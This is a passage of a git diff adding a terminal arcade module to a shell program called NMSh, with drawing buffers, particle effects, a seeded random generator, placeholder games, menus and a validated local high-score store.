Math.round(x0), y = Math.round(y0); + const ex = Math.round(x1), ey = Math.round(y1); + const dx = Math.abs(ex - x), dy = -Math.abs(ey - y); + const sx = x < ex ? 1 : -1, sy = y < ey ? 1 : -1; + let error = dx + dy; + for (let guard = 0; guard < 10_000; guard += 1) { + this.set(x, y, color); + if (x === ex && y === ey) break; + const doubled = 2 * error; + if (doubled >= dy) { error += dy; x += sx; } + if (doubled <= dx) { error += dx; y += sy; } + } + } + /** Draw a sprite with its top-left pixel at x, y; mirrored horizontally when `flip`. */ + sprite(sprite: Sprite, x: number, y: number, flip = false): void { + for (let row = 0; row < sprite.height; row += 1) { + for (let column = 0; column < sprite.width; column += 1) { + const color = sprite.pixels[row * sprite.width + (flip ? sprite.width - 1 - column : column)]; + if (color) this.set(x + column, y + row, color); + } + } + } +} + +export interface Sprite { + width: number; + height: number; + pixels: Array; +} + +/** Author a sprite as rows of characters; `palette` maps a character to a color, any other character is transparent. */ +export function spriteFromRows(rows: readonly string[], palette: Readonly>): Sprite { + const width = Math.max(0, ...rows.map(row => row.length)); + const pixels: Array = []; + for (const row of rows) for (let column = 0; column < width; column += 1) pixels.push(palette[row[column] ?? ' ']); + return {width, height: rows.length, pixels}; +} + +/** A Braille dot grid: 2 x 4 dots per cell, one color per cell (the last dot drawn into it wins). */ +export class BrailleBuffer { + private readonly bits: Uint8Array; + private readonly colors: Array; + constructor(readonly columns: number, readonly rows: number) { + this.bits = new Uint8Array(Math.max(0, columns * rows)); + this.colors = new Array(Math.max(0, columns * rows)).fill(undefined); + } + get dotWidth(): number { return this.columns * 2; } + get dotHeight(): number { return this.rows * 4; } + /** Set a dot at dot coordinates (x of 0..2*columns, y of 0..4*rows). */ + set(x: number, y: number, color?: Rgb): void { + const dx = Math.round(x); + const dy = Math.round(y); + if (dx < 0 || dy < 0 || dx >= this.dotWidth || dy >= this.dotHeight) return; + const cell = Math.floor(dy / 4) * this.columns + Math.floor(dx / 2); + this.bits[cell]! |= DOT_BITS[(dy % 4) * 2 + (dx % 2)]!; + if (color) this.colors[cell] = color; + } + line(x0: number, y0: number, x1: number, y1: number, color?: Rgb): void { + const steps = Math.max(1, Math.ceil(Math.max(Math.abs(x1 - x0), Math.abs(y1 - y0)))); + for (let step = 0; step <= steps; step += 1) this.set(x0 + ((x1 - x0) * step) / steps, y0 + ((y1 - y0) * step) / steps, color); + } + dots(column: number, row: number): number { return this.bits[row * this.columns + column] ?? 0; } + color(column: number, row: number): Rgb | undefined { return this.colors[row * this.columns + column]; } + clear(): void { this.bits.fill(0); this.colors.fill(undefined); } +} + +/** Braille dot (column, row) to bit, in the Unicode block's order. */ +const DOT_BITS = [0x01, 0x08, 0x02, 0x10, 0x04, 0x20, 0x40, 0x80] as const; diff --git a/src/arcade/easing.ts b/src/arcade/easing.ts new file mode 100644 index 00000000..b8cb9d50 --- /dev/null +++ b/src/arcade/easing.ts @@ -0,0 +1,10 @@ +/** Small easing and interpolation helpers shared by sprites, score pops and menu transitions. */ +export const clamp = (value: number, min: number, max: number): number => Math.max(min, Math.min(max, value)); +export const lerp = (from: number, to: number, amount: number): number => from + (to - from) * amount; +export const smoothstep = (amount: number): number => { const t = clamp(amount, 0, 1); return t * t * (3 - 2 * t); }; +export const easeOutCubic = (amount: number): number => 1 - (1 - clamp(amount, 0, 1)) ** 3; +export const easeInOutQuad = (amount: number): number => { const t = clamp(amount, 0, 1); return t < 0.5 ? 2 * t * t : 1 - ((-2 * t + 2) ** 2) / 2; }; +/** A short overshoot (squash and stretch, a placed marker settling): 0 → 1 with a bump past 1. */ +export const easeOutBack = (amount: number): number => { const t = clamp(amount, 0, 1) - 1; return 1 + 2.70158 * t ** 3 + 1.70158 * t ** 2; }; +/** Triangle wave in [0, 1] with the given period. */ +export const pingPong = (time: number, period: number): number => { const t = ((time % period) + period) % period / period; return t < 0.5 ? t * 2 : 2 - t * 2; }; diff --git a/src/arcade/effects.ts b/src/arcade/effects.ts new file mode 100644 index 00000000..92284981 --- /dev/null +++ b/src/arcade/effects.ts @@ -0,0 +1,161 @@ +import type {Rgb} from '../chroma/escape.js'; +import {mixRgb} from '../chroma/chroma.js'; +import type {Canvas, PixelBuffer} from './Canvas.js'; +import {clamp, easeOutCubic} from './easing.js'; +import type {Rng} from './rng.js'; + +/** + * The arcade's shared effects layer: particles, trails, score popups, flashes and a tightly limited screen shake. Every + * effect is deterministic (a seeded `Rng`, a caller-supplied step), bounded (fixed pools, no allocation per frame) and + * scaled by `EffectsLevel`, which comes from the person's motion settings: `off` draws nothing decorative, `subtle` + * halves the counts, and reduced motion removes shake and flashes while keeping what the game needs to be readable. + */ +export type EffectsLevel = 'off' | 'subtle' | 'normal' | 'rich'; + +export const EFFECT_SCALE: Readonly> = {off: 0, subtle: 0.5, normal: 1, rich: 1.5}; + +export interface Particle { + x: number; y: number; vx: number; vy: number; + /** Milliseconds left and at birth. */ + life: number; maxLife: number; + color: Rgb; + /** Pull on the velocity per second (positive is down). */ + gravity: number; + drag: number; +} + +export interface BurstOptions { + x: number; y: number; count: number; + /** Pixels per second. */ + speed: number; + /** Direction in radians (0 = right, -π/2 = up) and the half-width of the cone; π spreads all around. */ + angle?: number; spread?: number; + life?: number; gravity?: number; drag?: number; + colors: readonly Rgb[]; +} + +export class ParticleSystem { + private readonly pool: Particle[] = []; + constructor(private readonly rng: Rng, private readonly capacity = 160, private level: EffectsLevel = 'normal') {} + + setLevel(level: EffectsLevel): void { this.level = level; if (level === 'off') this.pool.length = 0; } + get count(): number { return this.pool.length; } + get particles(): readonly Particle[] { return this.pool; } + + burst(options: BurstOptions): void { + const count = Math.round(options.count * EFFECT_SCALE[this.level]); + const angle = options.angle ?? -Math.PI / 2; + const spread = options.spread ?? Math.PI; + for (let index = 0; index < count; index += 1) { + if (this.pool.length >= this.capacity) this.pool.shift(); + const direction = angle + this.rng.range(-spread, spread); + const speed = options.speed * this.rng.range(0.4, 1); + const life = (options.life ?? 500) * this.rng.range(0.6, 1); + this.pool.push({ + x: options.x, y: options.y, vx: Math.cos(direction) * speed, vy: Math.sin(direction) * speed, life, maxLife: life, + color: this.rng.pick(options.colors), gravity: options.gravity ?? 0, drag: options.drag ?? 0, + }); + } + } + + update(dtMs: number): void { + const dt = dtMs / 1000; + for (let index = this.pool.length - 1; index >= 0; index -= 1) { + const particle = this.pool[index]!; + particle.life -= dtMs; + if (particle.life <= 0) { this.pool.splice(index, 1); continue; } + particle.vy += particle.gravity * dt; + if (particle.drag) { const keep = Math.max(0, 1 - particle.drag * dt); particle.vx *= keep; particle.vy *= keep; } + particle.x += particle.vx * dt; + particle.y += particle.vy * dt; + } + } + + /** Draw into a pixel buffer; a particle fades toward `fadeTo` (the scene behind it) as it ages. */ + draw(buffer: PixelBuffer, fadeTo?: Rgb, offsetX = 0, offsetY = 0): void { + for (const particle of this.pool) { + const age = 1 - particle.life / particle.maxLife; + buffer.set(particle.x + offsetX, particle.y + offsetY, fadeTo ? mixRgb(particle.color, fadeTo, easeOutCubic(age) * 0.85) : particle.color); + } + } + + clear(): void { this.pool.length = 0; } +} + +/** A fixed-length ring of recent positions, drawn newest to oldest with a fading color: a glowing trail. */ +export class Trail { + private readonly points: Array<{x: number; y: number}> = []; + constructor(private readonly length = 8, private level: EffectsLevel = 'normal') {} + setLevel(level: EffectsLevel): void { this.level = level; if (level === 'off') this.points.length = 0; } + push(x: number, y: number): void { + if (this.level === 'off') return; + this.points.unshift({x, y}); + if (this.points.length > this.length) this.points.pop(); + } + /** Scroll every point (a world moving left under the player). */ + shift(dx: number, dy = 0): void { for (const point of this.points) { point.x += dx; point.y += dy; } } + draw(buffer: PixelBuffer, head: Rgb, tail: Rgb): void { + this.points.forEach((point, index) => buffer.set(point.x, point.y, mixRgb(head, tail, this.points.length <= 1 ? 0 : index / (this.points.length - 1)))); + } + clear(): void { this.points.length = 0; } + get size(): number { return this.points.length; } +} + +export interface Popup { text: string; x: number; y: number; age: number; life: number; color: Rgb } + +/** Floating score text: rises a cell or two and fades; drawn into the cell canvas so it stays crisp. */ +export class Popups { + private items: Popup[] = []; + constructor(private readonly limit = 6, private level: EffectsLevel = 'normal') {} + setLevel(level: EffectsLevel): void { this.level = level; if (level === 'off') this.items = []; } + add(text: string, x: number, y: number, color: Rgb, life = 700): void { + if (this.level === 'off') return; + this.items.push({text, x, y, age: 0, life, color}); + if (this.items.length > this.limit) this.items.shift(); + } + update(dtMs: number): void { + this.items = this.items.filter(item => (item.age += dtMs) < item.life); + } + draw(canvas: Canvas, fadeTo?: Rgb): void { + for (const item of this.items) { + const t = item.age / item.life; + const rise = Math.round(easeOutCubic(t) * 2); + canvas.text(Math.round(item.x - item.text.length / 2), Math.round(item.y) - rise, item.text, {fg: fadeTo ? mixRgb(item.color, fadeTo, clamp((t - 0.5) * 2, 0, 1) * 0.8) : item.color, bold: true}); + } + } + clear(): void { this.items = []; } + get count(): number { return this.items.length; } +} + +/** A short impact flash: 1 at once, easing to 0. Reduced motion never flashes. */ +export class Flash { + private left = 0; + constructor(private readonly duration = 160) {} + trigger(allowed: boolean): void { this.left = allowed ? this.duration : 0; } + update(dtMs: number): void { this.left = Math.max(0, this.left - dtMs); } + /** 0..1 */ + get amount(): number { return this.left / this.duration; } +} + +/** + * Screen shake limited to one cell in either direction, for a few frames, and only when motion is allowed. The offsets + * come from a fixed pattern, not the clock, so a replay shakes identically. + */ +export class Shake { + private left = 0; + private frame = 0; + constructor(private readonly duration = 220) {} + trigger(allowed: boolean): void { this.left = allowed ? this.duration : 0; this.frame = 0; } + update(dtMs: number): void { if (this.left > 0) { this.left = Math.max(0, this.left - dtMs); this.frame += 1; } } + get offset(): {x: number; y: number} { + if (this.left <= 0) return {x: 0, y: 0}; + const pattern = [[1, 0], [-1, 0], [0, 1], [0, -1]] as const; + const [x, y] = pattern[this.frame % pattern.length]!; + return this.left > this.duration / 2 ? {x, y} : {x: x > 0 ? 1 : 0, y: 0}; + } +} + +/** Interpolated sprite frames: the frame for an elapsed time in a loop of `frames` at `fps`. */ +export function frameAt(elapsedMs: number, frames: number, fps: number): number { + return Math.floor((elapsedMs / 1000) * fps) % Math.max(1, frames); +} diff --git a/src/arcade/games/dash/index.ts b/src/arcade/games/dash/index.ts new file mode 100644 index 00000000..88962db8 --- /dev/null +++ b/src/arcade/games/dash/index.ts @@ -0,0 +1,7 @@ +import type {GameDefinition} from '../../types.js'; +import {placeholderGame} from '../placeholder.js'; + +/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ +export const dashGame: GameDefinition = placeholderGame({ + id: 'dash', aliases: ['vespyr-dash'], title: 'Vespyr Dash', tagline: 'Rhythm platformer', description: 'Time your jumps over spikes and gaps.', kind: 'action', +}); diff --git a/src/arcade/games/doku/index.ts b/src/arcade/games/doku/index.ts new file mode 100644 index 00000000..2a3fc0d8 --- /dev/null +++ b/src/arcade/games/doku/index.ts @@ -0,0 +1,7 @@ +import type {GameDefinition} from '../../types.js'; +import {placeholderGame} from '../placeholder.js'; + +/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ +export const dokuGame: GameDefinition = placeholderGame({ + id: 'vespyr-doku', aliases: ['doku'], title: 'Vespyr Doku', tagline: 'Cats and colored regions', description: 'One cat in every row, column and colored region, and no two cats touching.', kind: 'puzzle', +}); diff --git a/src/arcade/games/flight/index.ts b/src/arcade/games/flight/index.ts new file mode 100644 index 00000000..fd91bf95 --- /dev/null +++ b/src/arcade/games/flight/index.ts @@ -0,0 +1,7 @@ +import type {GameDefinition} from '../../types.js'; +import {placeholderGame} from '../placeholder.js'; + +/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ +export const flightGame: GameDefinition = placeholderGame({ + id: 'flight', aliases: ['vespyr-flight', 'flap'], title: 'Vespyr Flight', tagline: 'Endless flier', description: 'Flap through an endless run of gaps.', kind: 'action', +}); diff --git a/src/arcade/games/placeholder.ts b/src/arcade/games/placeholder.ts new file mode 100644 index 00000000..3b6f2cf4 --- /dev/null +++ b/src/arcade/games/placeholder.ts @@ -0,0 +1,30 @@ +import type {Key} from '../../terminal/keys.js'; +import type {Canvas} from '../Canvas.js'; +import type {ArcadePalette} from '../palette.js'; +import type {ControlHint, GameDefinition, GameInstance, GameKeyResult, GameKind} from '../types.js'; + +/** A minimal game for the hub and tests: shows its title and exits on Esc. Real games replace it. */ +export function placeholderGame(meta: {id: string; aliases: readonly string[]; title: string; tagline: string; description: string; kind: GameKind}): GameDefinition { + return { + ...meta, + controls: [{keys: 'Esc', action: 'back'}], + summary: () => 'Not played yet', + preview: (canvas: Canvas, frame: number, palette: ArcadePalette) => { + canvas.center(Math.floor(canvas.height / 2), frame % 10 < 5 ? '· · ·' : ' · · · ', {fg: palette.accent}); + }, + create: () => { + const instance: GameInstance = { + status: 'ready', result: undefined, stepsPerSecond: 0, refreshMs: 0, + step() {}, animate() {}, + key(key: Key): GameKeyResult { return key.kind === 'escape' ? 'back' : 'ignored'; }, + render(canvas: Canvas, _alpha: number, palette: ArcadePalette) { + canvas.clear(); + canvas.center(Math.floor(canvas.height / 2), meta.title, {fg: palette.ink, bold: true}); + canvas.center(Math.floor(canvas.height / 2) + 1, 'Coming together…', {fg: palette.muted}); + }, + resize() {}, pause() {}, hints: (): readonly ControlHint[] => [{keys: 'Esc', action: 'back'}], persist() {}, dispose() {}, + }; + return instance; + }, + }; +} diff --git a/src/arcade/games/run/index.ts b/src/arcade/games/run/index.ts new file mode 100644 index 00000000..f6ca3bb1 --- /dev/null +++ b/src/arcade/games/run/index.ts @@ -0,0 +1,7 @@ +import type {GameDefinition} from '../../types.js'; +import {placeholderGame} from '../placeholder.js'; + +/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ +export const runGame: GameDefinition = placeholderGame({ + id: 'run', aliases: ['vespyr-run', 'dino'], title: 'Vespyr Run', tagline: 'Endless runner', description: 'Vespyr dashes across a scrolling landscape. Jump the rocks, duck the swooping birds.', kind: 'action', +}); diff --git a/src/arcade/games/sudoku/index.ts b/src/arcade/games/sudoku/index.ts new file mode 100644 index 00000000..21040dc5 --- /dev/null +++ b/src/arcade/games/sudoku/index.ts @@ -0,0 +1,7 @@ +import type {GameDefinition} from '../../types.js'; +import {placeholderGame} from '../placeholder.js'; + +/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ +export const sudokuGame: GameDefinition = placeholderGame({ + id: 'sudoku', aliases: ['classic-sudoku'], title: 'Classic Sudoku', tagline: 'Numbers, calmly', description: 'The classic 9x9 puzzle with notes, hints and undo.', kind: 'puzzle', +}); diff --git a/src/arcade/loop.ts b/src/arcade/loop.ts new file mode 100644 index 00000000..8a25e23e --- /dev/null +++ b/src/arcade/loop.ts @@ -0,0 +1,45 @@ +/** + * Fixed-timestep simulation with independently scheduled rendering. The renderer calls `advance` with the real elapsed + * time; the simulation runs in whole, equal steps, so physics is identical at 20 or 60 frames per second and a test with a + * fake clock replays a run exactly. A long stall (a suspended laptop, a debugger) is clamped, never replayed as a burst. + */ +export const DEFAULT_STEP_MS = 1000 / 60; + +export class FixedStep { + private accumulator = 0; + constructor(readonly stepMs: number = DEFAULT_STEP_MS, private readonly maxSteps = 6) {} + + /** + * Run `step` for each whole step contained in `elapsedMs` (at most `maxSteps`); the remainder carries over. + * Returns the interpolation amount in [0, 1) for drawing between the last two states. + */ + advance(elapsedMs: number, step: (dtMs: number) => void): number { + this.accumulator += Math.max(0, Math.min(elapsedMs, this.stepMs * this.maxSteps)); + let steps = 0; + // A hair of tolerance so 100 ms is exactly six 60 Hz steps despite floating point. + while (this.accumulator + 1e-6 >= this.stepMs && steps < this.maxSteps) { + step(this.stepMs); + this.accumulator = Math.max(0, this.accumulator - this.stepMs); + steps += 1; + } + // A backlog beyond the cap is dropped rather than carried: time passed while the process was not running. + if (steps >= this.maxSteps) this.accumulator = Math.min(this.accumulator, this.stepMs); + return this.accumulator / this.stepMs; + } + + reset(): void { this.accumulator = 0; } +} + +/** Real elapsed time between frames from a monotonic clock, with the first frame measuring zero. */ +export class FrameTimer { + private last: number | undefined; + constructor(private readonly now: () => number = () => performance.now()) {} + /** Milliseconds since the previous call (0 the first time, and after `reset`). */ + delta(): number { + const current = this.now(); + const elapsed = this.last === undefined ? 0 : Math.max(0, current - this.last); + this.last = current; + return elapsed; + } + reset(): void { this.last = undefined; } +} diff --git a/src/arcade/menu.ts b/src/arcade/menu.ts new file mode 100644 index 00000000..8254618d --- /dev/null +++ b/src/arcade/menu.ts @@ -0,0 +1,50 @@ +import {mixRgb} from '../chroma/chroma.js'; +import type {Canvas} from './Canvas.js'; +import type {ArcadePalette} from './palette.js'; +import type {Key} from '../terminal/keys.js'; +import {GLYPHS} from '../ui/glyphs.js'; +import {displayWidth} from '../util/text.js'; + +/** + * A small vertical choice list drawn on the canvas with the same selection treatment as every NMSh list: a pointer, a + * band in the theme's selection color and bold text (reverse video without color, via the canvas encoder), keys ↑↓ / + * j k to move, Enter to choose, a letter to jump. Used by the pause and game over screens and by games' own menus. + */ +export interface MenuItem { id: string; label: string; hint?: string; key?: string } + +export class Menu { + index = 0; + constructor(readonly items: readonly MenuItem[]) {} + + /** Move or choose: returns the chosen id on Enter or a matching letter, otherwise undefined. */ + key(key: Key): string | undefined { + if (key.kind === 'up') this.index = (this.index + this.items.length - 1) % this.items.length; + else if (key.kind === 'down' || key.kind === 'complete') this.index = (this.index + 1) % this.items.length; + else if (key.kind === 'enter') return this.items[this.index]?.id; + else if (key.kind === 'text') { + const value = key.value.toLowerCase(); + if (value === 'k') this.index = (this.index + this.items.length - 1) % this.items.length; + else if (value === 'j') this.index = (this.index + 1) % this.items.length; + else { + const hit = this.items.find(item => item.key === value); + if (hit) { this.index = this.items.indexOf(hit); return hit.id; } + } + } + return undefined; + } + + /** Draw the list with its first row at y, centered in `width` cells starting at x. Returns rows used. */ + draw(canvas: Canvas, palette: ArcadePalette, x: number, y: number, width: number): number { + const inner = Math.max(...this.items.map(item => displayWidth(item.label) + (item.hint ? displayWidth(item.hint) + 2 : 0)), 8) + 4; + const left = x + Math.max(0, Math.floor((width - inner) / 2)); + this.items.forEach((item, row) => { + const selected = row === this.index; + const style = selected ? {fg: palette.ink, bg: mixRgb(palette.selection, palette.deep, 0.15), bold: true, reverse: false} : {fg: palette.muted}; + canvas.fill(left, y + row, inner, 1, ' ', style); + canvas.text(left + 1, y + row, selected ? GLYPHS.selection : ' ', {...style, fg: palette.accent}); + canvas.text(left + 3, y + row, item.label, style); + if (item.hint) canvas.text(left + inner - 1 - displayWidth(item.hint), y + row, item.hint, {...style, fg: selected ? palette.muted : palette.faint, bold: false}); + }); + return this.items.length; + } +} diff --git a/src/arcade/palette.ts b/src/arcade/palette.ts new file mode 100644 index 00000000..ea8ad6b3 --- /dev/null +++ b/src/arcade/palette.ts @@ -0,0 +1,71 @@ +import {mixRgb, resolveColor, status, theme, BRAND_LAVENDER} from '../chroma/chroma.js'; +import {contrastOn, fromOklch, toOklch} from '../chroma/color.js'; +import type {Rgb} from '../chroma/escape.js'; +import {CAT_BODY, CAT_EYE} from '../idle/catSprite.js'; + +/** + * Every color the arcade draws comes from here, and everything here is derived from the active theme and Chroma roles + * (accent, primary, secondary, subtle, separator, selection, success, failure, working), never a private arcade palette. + * A theme change is picked up the next time `arcadePalette()` is called (once per frame), so a live change recolors a + * running game. Without color (NO_COLOR) the canvas drops these values and the games rely on glyphs and patterns. + */ +export interface ArcadePalette { + ink: Rgb; muted: Rgb; faint: Rgb; accent: Rgb; accentSoft: Rgb; line: Rgb; selection: Rgb; + ok: Rgb; bad: Rgb; warn: Rgb; + /** The scene's darkest and lightest tones, derived from the accent so every theme gets its own world. */ + deep: Rgb; dusk: Rgb; haze: Rgb; + /** Vespyr: the NMSh cat's lavender, tinted toward the theme accent, with its shade, eye and belly. */ + cat: {body: Rgb; shade: Rgb; eye: Rgb; belly: Rgb; whisker: Rgb}; +} + +const fromHex = (value: number): Rgb => ({red: (value >> 16) & 255, green: (value >> 8) & 255, blue: value & 255}); +const BLACK: Rgb = {red: 8, green: 7, blue: 14}; +const WHITE: Rgb = {red: 250, green: 248, blue: 255}; + +export function arcadePalette(): ArcadePalette { + const accent = resolveColor(theme('accent')); + const ink = resolveColor(theme('primary')); + const muted = resolveColor(theme('secondary')); + const faint = resolveColor(theme('subtle')); + const line = resolveColor(theme('separator')); + const selection = resolveColor(theme('selection')); + const deep = mixRgb(accent, BLACK, 0.86); + const dusk = mixRgb(accent, BLACK, 0.62); + const haze = mixRgb(accent, WHITE, 0.55); + // Vespyr stays recognizably the NMSh cat: his lavender, leaning a little toward the theme's accent. + const body = mixRgb(fromHex(CAT_BODY), accent, 0.25); + return { + ink, muted, faint, accent, accentSoft: mixRgb(accent, ink, 0.4), line, selection, + ok: resolveColor(status('success')), bad: resolveColor(status('failure')), warn: {red: 224, green: 176, blue: 72}, + deep, dusk, haze, + cat: {body, shade: mixRgb(body, BLACK, 0.3), eye: fromHex(CAT_EYE), belly: mixRgb(body, WHITE, 0.45), whisker: mixRgb(body, WHITE, 0.2)}, + }; +} + +/** The sky behind a scene at `phase` (0..1 around a full cycle): dawn, day, dusk, night, all tints of the theme. */ +export function skyAt(palette: ArcadePalette, phase: number): {top: Rgb; bottom: Rgb; stars: number} { + const wrapped = ((phase % 1) + 1) % 1; + const day = (Math.cos(wrapped * Math.PI * 2) + 1) / 2; // 1 at noon, 0 at midnight + return { + top: mixRgb(palette.deep, palette.dusk, day * 0.8), + bottom: mixRgb(palette.dusk, palette.haze, day * 0.7), + stars: Math.max(0, 1 - day * 1.6), + }; +} + +/** + * `count` region colors for a colored-region puzzle: evenly spaced hues at one lightness and chroma, rotated from the + * accent's own hue so the set belongs to the theme, then nudged so each keeps contrast against `background`. + */ +export function regionColors(count: number, background: Rgb, palette: ArcadePalette = arcadePalette()): Rgb[] { + const base = toOklch(palette.accent); + const colors: Rgb[] = []; + for (let index = 0; index < count; index += 1) { + const hue = (base.h + (360 / Math.max(1, count)) * index) % 360; + const candidate = fromOklch({l: 0.74, c: 0.075, h: hue}); + colors.push(contrastOn(candidate, background, 1.6)); + } + return colors; +} + +export { BRAND_LAVENDER }; diff --git a/src/arcade/registry.ts b/src/arcade/registry.ts new file mode 100644 index 00000000..12c779a3 --- /dev/null +++ b/src/arcade/registry.ts @@ -0,0 +1,24 @@ +import type {GameDefinition} from './types.js'; +import {runGame} from './games/run/index.js'; +import {flightGame} from './games/flight/index.js'; +import {dashGame} from './games/dash/index.js'; +import {sudokuGame} from './games/sudoku/index.js'; +import {dokuGame} from './games/doku/index.js'; + +/** + * Every arcade game, in hub order. A future game (a crossword, Snake, Minesweeper) is one more entry here and one + * directory under `games/`; there is no per-game global command, and `/game ` finds it by id or alias. + */ +export const ARCADE_GAMES: readonly GameDefinition[] = [runGame, flightGame, dashGame, sudokuGame, dokuGame]; + +/** The game a `/game ` argument names (id or alias, case-insensitive, spaces as dashes), or undefined. */ +export function findGame(name: string, games: readonly GameDefinition[] = ARCADE_GAMES): GameDefinition | undefined { + const wanted = name.trim().toLowerCase().replace(/[\s_]+/gu, '-'); + if (!wanted) return undefined; + return games.find(game => game.id === wanted || game.aliases.includes(wanted)); +} + +/** Names `/game` completes: every id, in hub order. */ +export function gameNames(games: readonly GameDefinition[] = ARCADE_GAMES): string[] { + return games.map(game => game.id); +} diff --git a/src/arcade/rng.ts b/src/arcade/rng.ts new file mode 100644 index 00000000..bf69c8ac --- /dev/null +++ b/src/arcade/rng.ts @@ -0,0 +1,65 @@ +/** + * Deterministic seeded randomness for the arcade: the same seed gives the same course, puzzle and particles, so tests + * replay exactly and a generator can be checked offline. Never `Math.random`. + */ +export interface Rng { + /** Uniform in [0, 1). */ + next(): number; + /** Integer in [min, max] (both inclusive). */ + int(min: number, max: number): number; + /** Uniform in [min, max). */ + range(min: number, max: number): number; + chance(probability: number): boolean; + pick(items: readonly T[]): T; + shuffle(items: readonly T[]): T[]; + /** An independent stream derived from this one, so a consumer cannot disturb the course's sequence. */ + fork(label?: string): Rng; + /** The 32-bit state, for saving a position in the sequence. */ + readonly state: number; +} + +/** FNV-1a: any string seed to a 32-bit one. */ +export function hashSeed(seed: string | number): number { + const text = String(seed); + let hash = 0x811c9dc5; + for (let index = 0; index < text.length; index += 1) { + hash ^= text.charCodeAt(index); + hash = Math.imul(hash, 0x01000193) >>> 0; + } + return hash >>> 0; +} + +/** mulberry32: small, fast and good enough for games. */ +export function createRng(seed: string | number): Rng { + let state = (typeof seed === 'number' ? seed >>> 0 : hashSeed(seed)) || 0x9e3779b9; + const next = (): number => { + state = (state + 0x6d2b79f5) >>> 0; + let t = state; + t = Math.imul(t ^ (t >>> 15), t | 1); + t ^= t + Math.imul(t ^ (t >>> 7), t | 61); + return ((t ^ (t >>> 14)) >>> 0) / 4294967296; + }; + const rng: Rng = { + next, + int: (min, max) => min + Math.floor(next() * (max - min + 1)), + range: (min, max) => min + next() * (max - min), + chance: probability => next() < probability, + pick: items => items[Math.floor(next() * items.length)]!, + shuffle: items => { + const copy = [...items]; + for (let index = copy.length - 1; index > 0; index -= 1) { + const other = Math.floor(next() * (index + 1)); + [copy[index], copy[other]] = [copy[other]!, copy[index]!]; + } + return copy; + }, + fork: label => createRng((state ^ hashSeed(label ?? 'fork')) >>> 0), + get state() { return state; }, + }; + return rng; +} + +/** A fresh seed for a new run. The only place the arcade reads the clock for randomness, and tests inject their own. */ +export function freshSeed(now: number = Date.now()): number { + return hashSeed(`${now}:${process.pid}`); +} diff --git a/src/arcade/scores.ts b/src/arcade/scores.ts new file mode 100644 index 00000000..a8febd9d --- /dev/null +++ b/src/arcade/scores.ts @@ -0,0 +1,169 @@ +import {chmodSync, existsSync, mkdirSync, readFileSync, renameSync, statSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; + +/** + * Local arcade data: high scores, statistics and puzzles in progress, in one small JSON file next to NMSh's own + * configuration (`/arcade.json`). It is versioned, bounded, validated on every read, written atomically + * (a temp file, then a rename) and owner-only. A damaged file is set aside and the arcade starts fresh; a file written + * by a newer NMSh is left untouched and read-only. Nothing here touches the network, and a QA launcher with its own + * `XDG_CONFIG_HOME` therefore has its own file: personal scores never mix with test sessions. + */ +export const ARCADE_FILE = 'arcade.json'; +export const ARCADE_VERSION = 1; +export const MAX_FILE_BYTES = 256 * 1024; +export const MAX_GAMES = 16; +const MAX_KEYS = 64; +const MAX_DEPTH = 5; +const MAX_STRING = 8192; +const MAX_ARRAY = 4096; +const GAME_ID = /^[a-z][a-z0-9-]{0,31}$/u; +const KEY = /^[A-Za-z0-9_.-]{1,40}$/u; +const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']); + +export type RecordValue = number | string | boolean | null | RecordValue[] | {[key: string]: RecordValue}; +export type GameRecord = {[key: string]: RecordValue}; + +/** A cleaned copy of untrusted JSON, or undefined when it is not a record of bounded plain values. */ +function cleanValue(value: unknown, depth: number): RecordValue | undefined { + if (value === null || typeof value === 'boolean') return value; + if (typeof value === 'number') return Number.isFinite(value) ? value : undefined; + if (typeof value === 'string') return value.length <= MAX_STRING ? value : undefined; + if (depth >= MAX_DEPTH) return undefined; + if (Array.isArray(value)) { + if (value.length > MAX_ARRAY) return undefined; + const items: RecordValue[] = []; + for (const item of value) { const clean = cleanValue(item, depth + 1); if (clean === undefined) return undefined; items.push(clean); } + return items; + } + if (typeof value === 'object') { + const keys = Object.keys(value as object); + if (keys.length > MAX_KEYS) return undefined; + const out: {[key: string]: RecordValue} = {}; + for (const key of keys) { + if (!KEY.test(key) || FORBIDDEN.has(key)) return undefined; + const clean = cleanValue((value as Record)[key], depth + 1); + if (clean === undefined) return undefined; + out[key] = clean; + } + return out; + } + return undefined; +} + +export function cleanRecord(value: unknown): GameRecord | undefined { + const clean = cleanValue(value, 0); + return clean !== null && typeof clean === 'object' && !Array.isArray(clean) ? clean : undefined; +} + +/** What a game sees of its own record: read a copy, write back a whole record or a patch. */ +export interface GameRecordHandle { + get(): GameRecord; + /** Replace the record (invalid values are refused and the old record stays). */ + set(record: GameRecord): boolean; + /** Change a copy with `change` and save it if it is still valid. */ + update(change: (record: GameRecord) => void): boolean; +} + +export interface ArcadeStoreOptions { + /** NMSh's configuration directory. */ + directory: string; + now?: () => number; +} + +export class ArcadeStore { + private games = new Map(); + private dirty = false; + private loaded = false; + private notice: string | undefined; + private readOnly = false; + private readonly path: string; + private readonly now: () => number; + + constructor(private readonly options: ArcadeStoreOptions) { + this.path = join(options.directory, ARCADE_FILE); + this.now = options.now ?? Date.now; + } + + /** Why the last load started fresh or read-only, for one quiet note in the hub. */ + get recovered(): string | undefined { return this.notice; } + get writable(): boolean { return !this.readOnly; } + + load(): void { + this.loaded = true; + this.games = new Map(); + if (!existsSync(this.path)) return; + let text: string; + try { + const size = statSync(this.path).size; + if (size > MAX_FILE_BYTES) return this.setAside('it was larger than the arcade allows'); + text = readFileSync(this.path, 'utf8'); + } catch { return this.setAside('it could not be read'); } + let parsed: unknown; + try { parsed = JSON.parse(text); } catch { return this.setAside('it was not valid JSON'); } + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return this.setAside('it was not an arcade file'); + const version = (parsed as {version?: unknown}).version; + if (typeof version === 'number' && version > ARCADE_VERSION) { + this.readOnly = true; + this.notice = 'Arcade data was saved by a newer NMSh; scores are shown but not changed.'; + return; + } + if (version !== ARCADE_VERSION) return this.setAside('its version is unknown'); + const games = (parsed as {games?: unknown}).games; + if (typeof games !== 'object' || games === null || Array.isArray(games)) return this.setAside('it had no games'); + for (const [id, value] of Object.entries(games as Record).slice(0, MAX_GAMES)) { + if (!GAME_ID.test(id) || FORBIDDEN.has(id)) continue; + const clean = cleanRecord(value); + if (clean) this.games.set(id, clean); + } + } + + 